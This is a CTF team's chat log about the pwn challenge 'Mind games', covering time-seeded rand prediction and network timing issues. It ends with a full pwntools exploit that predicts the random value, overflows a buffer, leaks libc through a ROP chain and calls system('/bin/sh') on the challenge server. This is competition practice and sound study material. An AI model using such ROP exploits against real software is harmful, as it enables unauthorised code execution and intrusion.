Project Sekai - ✅-pwn-mind-games

Mind games - 500 points

Category: Pwn Description: > Help! This program is playing mind games with me!

You need to put an end to this madness.

Note: The binary is already patched to use the provided library and linker. Author : chenx3n Files:

https://ctf.gdgalgiers.com/files/6619c6ca64b029d9eadb248a58a58dae/mind-games.zip?token=eyJ1c2VyX2lkIjo0MzksInRlYW1faWQiOjE3NSwiZmlsZV9pZCI6OTl9.Y0G61Q.F2y5FZvtg2fUFtc93-8-WOuYZE4

Tags: No tags.

Sutx pinned a message to this channel. 10/08/2022 11:00 AM

@crazyman ai wants to collaborate

@Piers wants to collaborate

ok this challenge just requires good network lol

1

11:42

dissapointing finale

whats the case when pwn needs good network? except bruting

it uses time(0) for seed

oh

11:43

well you can brute +-10 right?

well i have 1 try

ah

lemmy try some delay

11:43

and see if i can hit it once

ic

@god lives in my skin wants to collaborate

@4n0nym4u5 wants to collaborate

@IceCreamMan wants to collaborate

is it possible to brute force? HAHA

Piers

and see if i can hit it once

seems hard ..

20:32

btw whats the flag format?

nah dont need to

20:32

Sth sth erudite

Piers

nah dont need to

its possible to get same time on local? I cant seem to hit the same time on local

possible

20:36

idk why i had a working exploit locally but not remotely

@Zafirr wants to collaborate

ok i got it, had to run it on my vps

Zafirr

used /ctf solve

✅ Challenge solved.

can i see your exploit?

20:46

dont know why mine failed

from pwn import*
import ctypes

libc = ELF('libc.so.6')

# p = process('./mind-games', env={"LD_PRELOAD": libc.path})
p = remote("pwn.chal.ctf.gdgalgiers.com", 1404)


LIBC = ctypes.cdll.LoadLibrary('libc.so.6')
LIBC.srand(LIBC.time(0))
ans = LIBC.rand()

print(ans)

flag = 0x4012d6
ret = 0x401361
printf_plt = 0x401150
got = 0x404030
pop_rdi = 0x00000000004014c3
main = 0x401362

p.sendlineafter("mind?", str(ans).rjust(16, "0").encode() + p64(ret)*10 + p64(pop_rdi) + p64(got) + p64(printf_plt) + p64(ret) + p64(main))
libc_leak = u64(p.recvuntil("\x7f")[-6:] + b'\x00\x00')
print(hex(libc_leak))
libc_base = libc_leak - 0x08ec50
system = libc_base + 0x0000000000055410
bin_sh = libc_base + 0x1b75aa

LIBC.srand(LIBC.time(0))
ans = LIBC.rand()

print(ans)
p.sendlineafter("mind?", str(ans).rjust(16, "0").encode() + p64(ret)*10 + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(ret) + p64(main))

p.interactive()

1

yeah still dont know why

probably just network issues

yeah maybe